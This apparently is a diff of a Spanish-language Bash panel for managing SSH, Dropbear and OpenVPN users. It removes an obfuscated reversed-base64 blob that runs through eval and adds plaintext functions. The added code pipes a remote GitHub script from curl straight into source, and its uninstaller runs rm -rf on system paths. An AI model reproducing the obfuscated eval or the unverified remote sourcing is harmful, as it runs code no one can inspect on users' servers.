CIyFmYf5WdmpgI91FMbJ3bjtHJsJXdjByZulGbhR3cp5WVg0XX1slcvN2ekICIl1CIvh2YlpwJ51CIwFWbuBSZnJXdwBCdldWL0BXYnAyJ51CIuVWZyN2cgU2ZyVHcgQXZn1CdwF2JgIXYi9lb1ZmCi0XXwslcvN2ekAXYt5EIn5WasFGdzlmbVBSfdVzWy92Y7RiIgUWLg8GajVmCnkXLgAXaw1yMu9Ga0lHcgU2ZyVHcgQXZn1CdwF2JgcSetAibvhGd5BHIldmc1BHI0V2ZtQHchdCIyFmYf5WdmpgI91FMbJ3bjtHJu9Ga0lHcgcmbpxWY0NXauVFI91VNbJ3bjtHJiASZtAyboNWZKEjJ+IDIsxWdu9idlR2Lg4DImAibwZ3bfJXZ29WblJHImYCId1FIm52bj5iclZnclN3LuBnduVGcv9yY0V2LgUWLgs1WKsHImYCId1FIpkFf5x3U8NHKABSPgISY69VZ0JXZjRiIgs1WKEmefVGdyV2YgICI60FIuByLgMHIbBiIgAXLgQWYlJnCi8DIPJVVHV0UgMVQUNVRg8rwg0XX1slcvN2ekICIl1CIvh2YlpwMyFmYtAyZz1mC7BSKoASbkF2XyVmdv1WZypgCnNXbgU2YyV3bzpQampAdphXZJkgCzIXYi1CInNXbJkgCpUGdhRGKkAyboNWZJkgCi4CIuAiLg8GZuFmby9GdlJFIgACIgACIgACIgACIgACIgACIgACIgACIgACIiAyboNWZJkgCiU3cg8GZ1NHIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIiAyboNWZJkgCiASatAybkV3cgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgICIvh2YllQCKICIZeo4gACIgACmHKOIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIiAyboNWZJkgCioTrDPXYgQHcpJ3YzBCblBSZ0V3YlpWRgACIgACIgACIgACIgACIgACIgACIgACIgICIvh2YllQCKICIvxmch52bpNWds92Ug8WbvNEIgACIgACIgACIgACIgACIgACIgACIgACIgAiIg8GajVWCJogIgyp4gECdv9mcg8WbvNGIlNnchRXdjVmalBSZiVGZgQHcpJ3YzBSZ0NXRgAKniDCIgACIgACIgACIgACIgA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 | r";cXANDaNHhRuKEdYKgJUxUPWojHNnZThBRarwvxUiQwHNXczQrJmCfqIWSoKNCVDzDiAmdvLNfYNHxLTDYhHVeVoQaGMaJbGyRAJT="aiXmtblUvbwdmZelvgMaFUpkGiewPmaLeWfZJbcuhWNPuJtxEkpwUIQqBXGzYhkaTFSDqOmekQJLnIgNNmsbxQaibgqtekcJKGqT";wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN="";IahODSzyKyjsfMNQnYdZoOjRtdEAizFzfOhAEQoepcphtAfdHjEmLsrwJGXGcUJeGNgspRneJCLelONeTKwMTxcJXkyMOhDCxxva="as";DGubbGgeEFxHAPSSXoEGIwDakYoTPCISlMadSpXcdmdXtBUptVaVmgvcnHTFeivCjKZhVbjrlKWqBdRMIjpHBdoQHMLnlofxpEQj="VeLsXgxyGPDbYqTywQqYEiWZXjNBfFRTaZRpckuWAhZKRMEsRtAgBLpEEVihJWTbyRsVCppZFvZyFgAItsjaZtCOMqQxVDTlfHJA";landWKMPXqajfpnxlpICeZVuEWKMrjxRMRwegEaCcXvDRYKywtdSksznmTDYKWCAwSiBFFJMqsHbDiBNAGyHRXxDzvuyVtMEVhne="DbFZAItubNOxNPxFjgFUtGceHIAckKeNcrdqsyGCHVKRjJOYAnwSqYpprFoYIsbrPiIUTKQSbTGToGtczYeTiUUhFXSctTCfdvMN";CjBsKXxKbMQBuolIvZSxyYpPZmaPCdLSzuMGjkYqFzIubfeqYftPZqnsDGnwaUMSPhvNVDheJLsXHngqGgykTFbNGhkYwFqfuRim="o";mecCcMUeucyfRvSbqeymIHfkLCmLZIbokoDiDKrBdnuiXbukvMdGBOaKJpqvoKWIoErleSayvQVLNHeKRYEtVwZQBgdpQWpnGASs="6";CgHZkCbAerdetftALkfbivOWCWQPFLOjaVBREjckFtZHgmrDaqwKrGrMRcKLqBkJGsizAkdUcKDxJdWzCdJGvCEgninXSFytjStx="SYvSynXpCCOuLPvzFGyaZOqaBxbOLMNIKmfKrqQwbPbVCtpJqwTCIiyWgMCEScxooqQdllBsuGszAsCPYKaUuvSrDVFEEHCWDymS";pwGdIBgttrLkhgLaeNuCsoClzzqARWoYsmDlSEbfcJQVLiYaXYmaYgoLeiGWvLWKslvkjxbcIfQXHGuzZjCgipQmTPijXHmfDiVr=" -d";IRBgzfesjoJBAWGEAGBbfvsfGYEfdQjekDIivySGLHYgYdJIdKGdFadSgUGOKgugCfmCOsWEVEqqDZEEQxmMNfyoKGnIPTgaEVSR="FanYxsSdORuQfBcKbBWunRkKNyNQkwATViPbOxRFpnAsEMAaRrWgKegYnqryPuvnvhqbhecGdLcTcflvwkqTZFyuCiphJXeFocYP";faHHYoilwecxvJqXNVwjiUiXUDMqTknjiqpTajQakQgBZokESQofUOBqjYpJMIDHlkgwZAcuyuurhVBYGPlNVgAvMuPCiMzkJkov="";JpTrJJbtbBSzUscsQxurhWAKcclDvPQoiwrUJKJexcFLrPLrfnUGOQtcIqHsjrCEQMVjGWLEUIWCPTxcEiUSHZoXDMYQKlzDnhvH="b";ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN="e";ofuKEQthoVvNqwPvnLeUUDefihdhchuHZkwDtCDcNFQDjFDmbMzDzeSDXlBsriSElEtEIcoNNCZNzTPbAnAZVLIBpKsoCksjzrma="v |";Tx=Eds;FnEqGSQiOZgMsNAHRfxWhLcuMNxOUQvPriLSXDINUPJvhmQgFcYsuxUKdsFmmBzzWmciqAgJWNBOIPvZNBPXFyEtktXWcAbTLIYz="";nUvwuWguiooRGUiMgwzzpDPkiDLBgPSvhLEjqWQdjmpIpyOzIFkgAUsKGnklNOpWQlmaUWhoftPOrTSbXyYeWFFZBRKuDuobKINR=$(eval "$wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN$ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN$sAgrpjVFCmqlsIxIaJRzWwRKssmWHGOoslIkhUXhpQbWvMeLVNEqTcaDbLmKuxGbVKrrzNYroLPOAIhfdeZTjHmQoHBvzDnQDbOJ$sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI$CjBsKXxKbMQBuolIvZSxyYpPZmaPCdLSzuMGjkYqFzIubfeqYftPZqnsDGnwaUMSPhvNVDheJLsXHngqGgykTFbNGhkYwFqfuRim$jOzAMykRjgRMtsDJxulDBLOMXksBQvUbrLGIHRjCfyqmCvpoxceCPSogSoLYoQcleEFQHuUoRObFyzkuECtdCcPLWkZCreGPkaxo$ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN$ofuKEQthoVvNqwPvnLeUUDefihdhchuHZkwDtCDcNFQDjFDmbMzDzeSDXlBsriSElEtEIcoNNCZNzTPbAnAZVLIBpKsoCksjzrma$wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN$JpTrJJbtbBSzUscsQxurhWAKcclDvPQoiwrUJKJexcFLrPLrfnUGOQtcIqHsjrCEQMVjGWLEUIWCPTxcEiUSHZoXDMYQKlzDnhvH$FnEqGSQiOZgMsNAHRfxWhLcuMNxOUQvPriLSXDINUPJvhmQgFcYsuxUKdsFmmBzzWmciqAgJWNBOIPvZNBPXFyEtktXWcAbTLIYz$IahODSzyKyjsfMNQnYdZoOjRtdEAizFzfOhAEQoepcphtAfdHjEmLsrwJGXGcUJeGNgspRneJCLelONeTKwMTxcJXkyMOhDCxxva$ZbksChduWZKWmBEvhDKypezCwwDpwAYWrPmdWXSoJyGIpNqTjuMsDHCnvJxJCIoWtJFluiaLuOLjlSmtRJCiLyWRPmYdtSuqzvvN$mecCcMUeucyfRvSbqeymIHfkLCmLZIbokoDiDKrBdnuiXbukvMdGBOaKJpqvoKWIoErleSayvQVLNHeKRYEtVwZQBgdpQWpnGASs$sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI$xStDqIwOalOuMZRQUTPniSpgEaEXOavFsNmYuVQAgQYhKUgjLhlkSMaIlUMmBszqpspohXyhEedTHDfZFrlieIbdcqSFkKhwUrws$pwGdIBgttrLkhgLaeNuCsoClzzqARWoYsmDlSEbfcJQVLiYaXYmaYgoLeiGWvLWKslvkjxbcIfQXHGuzZjCgipQmTPijXHmfDiVr$FnEqGSQiOZgMsNAHRfxWhLcuMNxOUQvPriLSXDINUPJvhmQgFcYsuxUKdsFmmBzzWmciqAgJWNBOIPvZNBPXFyEtktXWcAbTLIYz");eval "$faHHYoilwecxvJqXNVwjiUiXUDMqTknjiqpTajQakQgBZokESQofUOBqjYpJMIDHlkgwZAcuyuurhVBYGPlNVgAvMuPCiMzkJkov$nUvwuWguiooRGUiMgwzzpDPkiDLBgPSvhLEjqWQdjmpIpyOzIFkgAUsKGnklNOpWQlmaUWhoftPOrTSbXyYeWFFZBRKuDuobKINR$wqRCTHzcuTwyOuhnHTEwhNRHDLNNwvYHOsNJZHJgrmVdzAkmYancImyHrXYEEQcCKdcDsoRhdPVDEPuRUGlfjbkeUpQrCuLrTuZN$sJpmXaGykPlHMTvyuUYHWoMhIhcgkeRayVyCzVfvRWRPbVuWXQVmRrlmvMifKtlrnumuqdyQvnbfkYrKMZWneHcFyEGnZazmBVhI" \ No newline at end of file +# -*- ENCODING: UTF-8 -*- +dropbear_pids () { + port_dropbear=`ps aux|grep 'dropbear'|awk NR==1|awk '{print $17;}'` + log=/var/log/auth.log + loginsukses='Password auth succeeded' + pids=`ps ax|grep 'dropbear'|grep " $port_dropbear"|awk -F " " '{print $1}'` + for pid in $pids; do + pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'` + i=0 + for pidend in $pidlogs; do + let i=i+1 + done + if [ $pidend ];then + login=`grep $pid $log |grep "$pidend" |grep "$loginsukses"` + PID=$pid + user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'/ /g"` + waktu=`echo $login |awk -F" " '{print $2"-"$1,$3}'` + while [ ${#waktu} -lt 13 ]; do + waktu=$waktu" " + done + while [ ${#user} -lt 16 ]; do + user=$user" " + done + while [ ${#PID} -lt 8 ]; do + PID=$PID" " + done + echo "$user $PID $waktu" + fi +done +} + +mostrar_usuarios () { +for u in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1`; do +echo "$u" +done +} + +function_onlines () { +local users=$(cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|awk -F ':' '{print $1}') + # dpids=$(dropbear_pids) users=$(cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|awk -F ':' '{print $1}') + dpids=$(dropbear_pids) + time=$(date +%s) + [[ -e /etc/openvpn/openvpn-status.log ]] && ovpn_log=$(cat /etc/openvpn/openvpn-status.log) + n='0' + i='0' + u='1' + conect='0' + _onlin='0' + for _user in $users; do + [[ -z "$(ps -u $_user|grep sshd)" ]] && sqd=0 || sqd=$(ps -u $_user|grep sshd | wc -l) + [[ -z "$(echo $ovpn_log|grep -E ,"$_user",)" ]] && ovp=0 || ovp=$(echo $ovpn_log|grep -E ,"$_user", | wc -l) + [[ -z "$(echo $dpids|grep -w "$_user")" ]] && drop=0 || drop=$(echo $dpids|grep -w "$_user" | wc -l) + _onlin=$(($sqd + $ovp + $drop)) + #[[ $_onlin -ne 0 ]] && + conect=$(($conect + $_onlin)) + if [[ $(chage -l $_user |grep 'Account expires' |awk -F ': ' '{print $2}') != never ]]; then + [[ $time -gt $(date '+%s' -d "$(chage -l $_user |grep "Account expires" |awk -F ': ' '{print $2}')") ]] && let n++ + fi + [[ $(passwd --status $_user|cut -d ' ' -f2) = "L" ]] && let i++ + done +_onlin="\033[1;31m${conect}" +_userexp="\033[1;31m${n}" +_userlock="${i}" +_tuser="\033[1;31m$(echo -e "${users}" | wc -l)" +} + +[[ -e /etc/scpdk1/modulos ]] && function_onlines &> /dev/null + +if ! [ $(id -u) = 0 ]; then +clear + echo "" + msg -bar + echo " ⛑⛑⛑ Error Fatal!! x000e1 ⛑⛑⛑" + msg -bar + echo " ✠ Este script debe ejecutarse como root! ✠" + echo " Como Solucionarlo " + echo " Ejecute el script así:" + echo " ⇘ ⇙ " + echo " sudo -i " + echo " sudo su" + echo " Retornando . . ." + echo $(date) + msg -bar + exit +fi +## +# Funcoes Globais +[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg || source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/msg-bar/msg) + +#FIN DE MODULOS A ELIMINAR EN UPDATE CON REFORMA EN BASE +remover_adm () { +msg -bar +echo -e "${cor[5]} ¿ ESTAS SEGURO ?" +read -p " [ s / n ]: " certe_za +[[ "$certe_za" = @(s|S|y|Y) ]] && { +[[ -e /etc/openvpn/server.conf ]] && remover_ovpn & > /dev/null 2>&1 +echo -e "${cor[5]} Unistaling python${cor[0]}" +fun_bar 'apt-get purge python -y' 'apt-get purge python3-pip -y' +echo -e "${cor[5]} Unistaling Nmap${cor[0]}" +fun_bar 'apt-get purge screen -y' 'apt-get purge nmap -y' +echo -e "${cor[5]} Unistaling curl${cor[0]}" +fun_bar 'apt-get purge figlet -y' 'apt-get purge unzip -y' 'apt-get purge squid -y' +echo -e "${cor[5]} Unistaling Dropbear/Squid${cor[0]}" +fun_bar 'apt-get purge bc -y' 'apt-get purge lynx -y' +echo -e "${cor[5]} Unistaling Apache2${cor[0]}" +fun_bar 'apt-get purge curl -y' 'apt-get purge squid -y' +echo -e "${cor[5]} Unistaling Libs${cor[0]}" +fun_bar 'apt-get purge squid3 -y' 'apt-get purge dropbear -y' 'apt-get purge stunnel4 -y' +echo -e "${cor[5]} Unistaling Scripts${cor[0]}" +fun_bar 'apt-get purge apache2 -y' 'apt-get purge php5 libapache2-mod-php5 php5-mcrypt' +apt-get autoremove -y > /dev/null 2>&1 +[[ -e /bin/ejecutar ]] && rm -rf /bin/ejecutar > /dev/null 2>&1 +[[ -e /etc/usuariosteste ]] && rm -rf /etc/usuariosteste > /dev/null 2>&1 +[[ -e $HOME/log.txt ]] && rm -f $HOME/log.txt +[[ -e /bin/troj.sh ]] && rm -f /bin/troj.sh +[[ -e /bin/v2r.sh ]] && rm -f /bin/v2r.sh +[[ -e /bin/clash.sh ]] && rm -f /bin/clash.sh +[[ -e /bin/menu ]] && rm /bin/menu +[[ -e /bin/cgh ]] && rm /bin/cgh +sed '/ChumoGH/ d' /root/.bashrc > /root/.bashrc.cp1 +sed '/clear/ d' /root/.bashrc.cp1 > /root/.bashrc.cp +sed '/echo/ d' /root/.bashrc.cp > /root/.bashrc +rm -f /root/.bashrc.cp /root/.bashrc.cp1 +[[ -e $HOME/exito ]] && rm -f /root/exito $HOME/name > /dev/null 2>&1 +echo -e "${cor[5]} SUCESS! :D${cor[0]}" +[[ -e /etc/scpdk1 ]] && rm -rf /etc/scpdk1 +echo -e "\033[0m" + msg -bar + exit + } || { + echo -e "${cor[1]} DESINSTALACION CANCELADA POR EL USUARIO!! ${cor[0]}" + msg -bar + return + } +} + +clear +#DECLARA VARIABLES DE ENTORNO +dir_user="./userDIR" +dir="/etc/scpdk1" + +_on="\033[0;31m [\033[0;32mON\033[0;31m]" +_off="\033[0;31m [OFF]" +#SISTEMADEMODULOS +unset OPENVPN +unset limiter_on +[[ -e /etc/openvpn/server.conf ]] && { +[[ -e /etc/openvpn/openvpn-status.log ]] && OPENVPN="on" || echo -e "OPENVPN ERROR" +} +[[ -e /etc/scpdk1/modulos ]] && VERIFICAR_PID="$_on" || VERIFICAR_PID="$_off" + +[[ -e /etc/systemd/system/killadm.service ]] && limiter_on="\033[1;32mON" +[[ -z $_os ]] && _os="\033[1;31m$(cat /etc/issue | cut -d " " -f 1,2 | head -1| tr a-z A-Z)" + +#PIDSVARIAVEIS +[[ ! -z $(ps x | grep "badvpn" | grep -v "grep") ]] && _badvpn="$_on" || _badvpn="$_off" +[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && _tcpspeed="$_off" || _tcpspeed="$_on" +[[ -z $(dpkg -l | grep fail2ban | grep ii) ]] && fail_b="$_off" || fail_b="$_on" +[[ -e /bin/ejecutar/uskill ]] && ukk="\033[1;31m$(cat /bin/ejecutar/uskill)" || ukk="\033[1;31m0" +v1=$(cat /bin/ejecutar/v-new.log) +v2=$(cat /etc/scpdk1/v-local.log) +if [ -e /etc/squid/squid.conf ]; then +squid_var="/etc/squid/squid.conf" +elif [ -e /etc/squid3/squid.conf ]; then +squid_var="/etc/squid3/squid.conf" +fi +[[ -e $squid_var ]] && { +teste_cache="#CACHE DO SQUID" +[[ `grep -c "^$teste_cache" $squid_var` -eq 0 ]] && _cachesquid="$_off" || _cachesquid="$_on" +} + +vary_rex () { +echo -e $(echo "$1"| sed 's/../\\x&/g;s/$/ /') && return 0 || return 1 +} + +funcao_verificacao () { + [[ -e /etc/scpdk1/modulos ]] && { + for _pids_ in `atq | awk '{print $1}'`; do + atrm $_pids_ + done + [[ -e ./vencidos ]] && rm ./vencidos + [[ -e ./onlines ]] && rm ./onlines + [[ -e ./total ]] && rm ./total + rm -f /etc/scpdk1/modulos + rm -f /bin/ejecutar/usCONEXT + rm -f /bin/ejecutar/usCONEXC + echo " CONTADOR ONLINE DESACTIVADO !!" + msg -bar + read -p " PRESIONA ENTER PARA RETORNAR" + return + } || { + clear&&clear + echo "VERIFICAR" > /etc/scpdk1/modulos +unset sshsn +unset sin_nao +msg -bar +print_center -verm2 'ADVERTENCIA!!!\n ESTA FUNCION PODRIA CONSUMIR RECURSOS \n O CPU ELEVADO DEVIDO AL BUBLE DE VERIFICACION DE CONSUMO \n SI NOTA LENTITUD EN SU SERVIDOR \n DETENGALO INMEDIATAMENTE!!' +msg -bar +echo -e "${cor[3]} DESEAS ACTIVAR EL CONTROLADOR DE " +echo -e "${cor[3]} TIEMPO - CUENTA EL TIEMPO DE CONEXION " +echo -ne "${cor[3]} Esta SEGURO -> " +read -p " [S/N]: " -e -i s sshsn +[[ "$sshsn" = @(s|S|y|Y) ]] && { +echo "TIEMPO" > /bin/ejecutar/usCONEXT +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +unset sshsn +unset sin_nao +} || { +rm -f /bin/ejecutar/usCONEXT +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +unset sshsn +unset sin_nao +} +echo -e "${cor[3]} CONSUMO - CUENTA EL CONSUMO DE CONEXION " +echo -ne "${cor[3]} Esta SEGURO -> " +read -p " [S/N]: " -e -i n sshsn +[[ "$sshsn" = @(s|S|y|Y) ]] && { +echo "CONSUMO" > /bin/ejecutar/usCONEXC +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +unset sshsn +unset sin_nao +} || { +rm -f /bin/ejecutar/usCONEXC +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +unset sshsn +unset sin_nao +} + chmod 777 /etc/scpdk1/* + echo -e " CONTADOR ONLINE ACTIVADO !!" + echo -e " RECUERDA QUE PARA EL CONTROLADOR DE \n CONSUMO DE USUARIOS" + echo -e " ES NECESARIO QUE TENGAS EL KILL MULTILOGIN ACTIVADO" + msg -bar + read -p " PRESIONA ENTER PARA RETORNAR" + return + } +} + + +#LLENA USUARIO EN ARRAY $select_name DEL USUARIO +select_users () { +clear&&clear +msg -bar +echo -e "${cor[4]} $1 " +# Obtener la lista de usuarios que cumplen con los criterios y extraer solo el nombre +lista_usuarios=$(grep 'home' /etc/passwd | grep 'false' | grep -v 'syslog') +lista_nombres=$(echo "$lista_usuarios" | cut -d: -f1) + +# Contar el número de usuarios +cantidad_usuarios=$(echo "$lista_nombres" | wc -l) + +# Mostrar el menú numerado con los nombres de los usuarios y obtener el número correspondiente al nombre +mostrar_menu_numerado() { + contador=1 + echo -e " - LISTA DE USUARIOS DISPONIBLES -" + msg -bar + while IFS= read -r nombre; do + [[ -e /etc/scpdk1/userDIR/$nombre ]] && { + local lmt="$(cat /etc/scpdk1/userDIR/$nombre | grep "limite" | awk '{print $2}')" + [[ $(passwd --status $nombre|cut -d ' ' -f2) = "L" ]] && { + echo -e "\033[0;35m [\033[0;36m$contador\033[0;35m]\033[0;31m ➮\033[0;38m $nombre \033[1;34m<--\033[1;31m LOCK" + } || { + [[ $(echo -e ${lmt} |sed -e 's/[^0-9]//ig') ]] && { + echo -e "\033[0;35m [\033[0;36m$contador\033[0;35m]\033[0;31m ➮\033[0;38m $nombre" + } || { + [[ "$(echo -e ${lmt})" = "HWID" ]] && echo -e "\033[0;35m [\033[0;36m$contador\033[0;35m]\033[0;31m ➮${cor[5]} $(cat /etc/scpdk1/userDIR/$nombre | grep "senha" | awk '{print $2}') ${cor[1]}-> \033[0;35m #[${cor[3]}${lmt}\033[0;35m] \n ⤷ ${cor[2]}$nombre" |column -s "#" -t + [[ "$(echo -e ${lmt})" = "TOKEN" ]] && echo -e "\033[0;35m [\033[0;36m$contador\033[0;35m]\033[0;31m ➮${cor[5]} $(cat /etc/scpdk1/userDIR/$nombre | grep "senha" | awk '{print $2}') ${cor[1]}-> \033[0;35m #[${cor[3]}${lmt}\033[0;35m] \n ⤷ ${cor[2]}$nombre" |column -s "#" -t + } + } + } + contador=$((contador + 1)) + done <<< "$lista_nombres" +} + +unset select_name select_number +# Función para procesar la opción seleccionada y mostrar el resultado correspondiente +procesar_opcion() { + opcion=$1 + if ((opcion >= 1 && opcion <= cantidad_usuarios)); then + nombre=$(echo "$lista_nombres" | sed -n "${opcion}p") + msg -bar + echo " Seleccionaste el usuario: $nombre" + select_name=${nombre} + select_number=${opcion} + return + # Agrega aquí el código que deseas ejecutar para el usuario seleccionado + elif grep -Fxq "$opcion" <<< "$lista_nombres"; then + numero=$(grep -nFx "$opcion" <<< "$lista_nombres" | cut -d: -f1) + msg -bar + echo " Seleccionaste el usuario: $opcion (número $numero)" + select_name=${opcion} + select_number=${numero} + return + # Agrega aquí el código que deseas ejecutar para el usuario seleccionado + elif [[ "${opcion}" == '0' ]]; then + return + fi +return +} + +while true; do + msg -bar + mostrar_menu_numerado + #msg -bar + read -p " $(echo -e "${cor[5]} ESCRIBE (nombre o número) DEL USUARIO: ")" select_user + tput cuu1 && tput dl1 + [[ ${select_user} = 0 ]] && break + procesar_opcion "$select_user" + msg -bar + echo -e "${cor[5]} $select_name - N° ${select_number}" + break +done + +#echo -ne "${cor[6]}" +#read -p " > OPCION : " select_user +} + +#RELLENA LA 